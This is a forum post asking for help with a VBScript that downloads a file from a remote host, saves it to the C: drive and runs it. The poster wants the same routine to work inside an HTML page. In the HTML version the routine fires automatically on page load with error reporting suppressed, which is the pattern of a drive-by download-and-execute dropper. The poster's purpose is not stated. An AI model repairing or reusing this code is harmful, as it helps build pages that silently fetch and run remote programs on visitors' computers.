Hi everybody I post this VBscript that works for me so fine when i run it as a vbs file !
But my problem how can i make it works in HTML File ? because it didn't works for me i don't know why ? could someone here tell me what's wrong in the HTML file
Code:
' Set your settings
strFileURL = "[URL unfurl="true"]http://hackoo.ifrance.com/Merlin.jpg"[/URL]
strHDLocation = "c:\Merlin.jpg"
' Fetch the file
Set Ws = WScript.CreateObject("WScript.Shell")
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing
Ws.Run strHDLocation
Set WS = Nothing
Code:
<html>
<head>
<script language=vbscript>
Sub Window_Onload
Call Download_Me()
End Sub
Sub Download_Me()
on error resume next
strFileURL = "[URL unfurl="true"]http://hackoo.ifrance.com/Merlin.jpg"[/URL]
strHDLocation = "c:\Merlin.jpg"
Set Ws = WScript.CreateObject("WScript.Shell")
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing
Ws.Run strHDLocation
Set WS = Nothing
End Sub
</script>
</head>
<body>
<br>
<br>
<br>
<br>
<input type=button value="Click to Run" name="Download_Me" onclick="Download_Me()">
</body>
</html>